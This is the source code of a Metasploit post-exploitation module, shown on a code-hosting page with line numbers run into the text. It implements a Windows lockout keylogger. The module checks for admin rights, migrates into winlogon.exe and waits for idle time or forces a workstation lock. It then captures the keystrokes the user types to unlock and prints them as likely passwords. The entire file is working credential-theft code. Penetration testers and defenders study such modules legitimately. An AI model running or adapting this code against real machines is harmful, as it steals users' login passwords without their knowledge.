Path: blob/master/modules/post/windows/capture/lockout_keylogger.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',13'Description' => %q{14This module migrates and logs Microsoft Windows user's passwords via15Winlogon.exe using idle time and natural system changes to give a16false sense of security to the user.17},18'License' => MSF_LICENSE,19'Author' => [ 'mubix', 'cg' ],20'Platform' => ['win'],21'SessionTypes' => ['meterpreter'],22'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26core_migrate27stdapi_railgun_api28stdapi_sys_process_get_processes29stdapi_sys_process_getpid30stdapi_ui_get_idle_time31stdapi_ui_get_keys_utf832stdapi_ui_start_keyscan33stdapi_ui_stop_keyscan34]35}36},37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [SCREEN_EFFECTS],40'Reliability' => []41}42)43)4445register_options(46[47OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),48OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),49OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),50OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),51OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])52]53)54end5556def check_admin57status = client.railgun.shell32.IsUserAnAdmin()58return status['return']59end6061def get_winlogon62winlogon = []63session.sys.process.get_processes.each do |x|64if x['name'].downcase == 'winlogon.exe'65winlogon << x66end67end68if winlogon.empty?69print_status('Winlogon not found! Exiting')70return 'exit'71elsif winlogon.size == 172return winlogon[0]['pid']73else74print_error('Multiple WINLOGON processes found, run manually and specify pid')75print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')76winlogon.each do |tp|77print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")78end79return 'exit'80end81end8283# Function for starting the keylogger84def startkeylogger(session)85print_status('Starting the keystroke sniffer...')86session.ui.keyscan_start87return true88rescue StandardError89print_error('Failed to start Keylogging!')90return false91end9293# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)94def keycap(session, keytime, logfile)95rec = 196# Creating DB for captured keystrokes97print_status("Keystrokes being saved in to #{logfile}")98# Inserting keystrokes every number of seconds specified99print_status('Recording ')100while rec == 1101# getting Keystrokes102data = session.ui.keyscan_dump103outp = ''104data.unpack('n*').each do |inp|105fl = (inp & 0xff00) >> 8106vk = (inp & 0xff)107kc = VirtualKeyCodes[vk]108109f_shift = fl & (1 << 1)110_f_ctrl = fl & (1 << 2)111_f_alt = fl & (1 << 3)112113if kc114name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])115case name116when /^.$/117outp << name118when /shift|click/i119# ignore120when 'Space'121outp << ' '122else123outp << " <#{name}> "124end125else126outp << ' <0x%.2x> ' % vk127end128end129130select(nil, nil, nil, 2)131file_local_write(logfile, "#{outp}\n")132if !outp.nil? && (outp.chomp.lstrip != '')133print_status("Password?: #{outp}")134end135136still_locked = 1137# Check to see if the screen saver is on, then check to see if they have logged back in yet.138screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]139if screensaver == 0140still_locked = client.railgun.user32.GetForegroundWindow()['return']141end142if still_locked == 0143print_status('They logged back in, the last password was probably right.')144raise 'win'145end146currentidle = session.ui.idle_time147if screensaver == 0148print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")149else150print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")151end152select(nil, nil, nil, keytime.to_i)153end154rescue StandardError => e155if e.message != 'win'156print_line157print_status("#{e.class} #{e}")158end159print_status('Stopping keystroke sniffer...')160session.ui.keyscan_stop161end162163def run164# Make sure we are on a Windows host165if client.platform != 'windows'166print_error('This module does not support this platform.')167return168end169170# Log file variables171host = session.session_host172filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create Filename info to be appended to downloaded files173logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs174::FileUtils.mkdir_p(logs) # Create the log directory175logfile = logs + ::File::Separator + host + filenameinfo + '.txt' # Logfile name176177# Check admin status178admin = check_admin179if admin == false180print_error('Must be an admin to migrate into Winlogon.exe, exiting')181return182end183184mypid = session.sys.process.getpid185if datastore['PID'] == 0186targetpid = get_winlogon187if targetpid == 'exit'188return189end190191print_status("Found WINLOGON at PID:#{targetpid}")192else193targetpid = datastore['PID']194print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")195end196197if mypid == targetpid198print_status('Already in WINLOGON no need to migrate')199else200print_status("Migrating from PID:#{mypid}")201begin202session.core.migrate(targetpid)203rescue StandardError204print_error('Unable to migrate, try getsystem first')205return206end207print_good("Migrated to WINLOGON PID: #{targetpid} successfully")208end209210# Override SystemParametersInfo Railgun call to check for Screensaver211# Unfortunately 'pvParam' changes it's type for each uiAction so212# it cannot be changed in the regular railgun defs213client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [214['DWORD', 'uiAction', 'in'],215['DWORD', 'uiParam', 'in'],216['PBLOB', 'pvParam', 'out'],217['DWORD', 'fWinIni', 'in']218])219220print_good("Keylogging for #{client.info}")221file_local_write(logfile, "#{client.info}\n")222if datastore['WAIT']223print_status('Waiting for user to lock out their session')224locked = false225while locked == false226if client.railgun.user32.GetForegroundWindow()['return'] != 0227locked = true228print_status('Session has been locked out')229else230# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this231select(nil, nil, nil, 2)232end233end234else235currentidle = session.ui.idle_time236print_status("System has currently been idle for #{currentidle} seconds")237while currentidle <= datastore['LOCKTIME']238print_status("Current Idle time: #{currentidle} seconds")239select(nil, nil, nil, datastore['HEARTBEAT'])240currentidle = session.ui.idle_time241end242client.railgun.user32.LockWorkStation()243if client.railgun.user32.GetForegroundWindow()['return'] == 0244print_error('Locking the workstation failed, trying again..')245client.railgun.user32.LockWorkStation()246if client.railgun.user32.GetForegroundWindow()['return'] == 0247print_error('The system will not lock this session, nor will it be used for user login, exiting...')248return249end250print_status('Locked this time, time to start keyloggin...')251end252end253254if startkeylogger(session)255keycap(session, datastore['INTERVAL'], logfile)256end257end258end259260261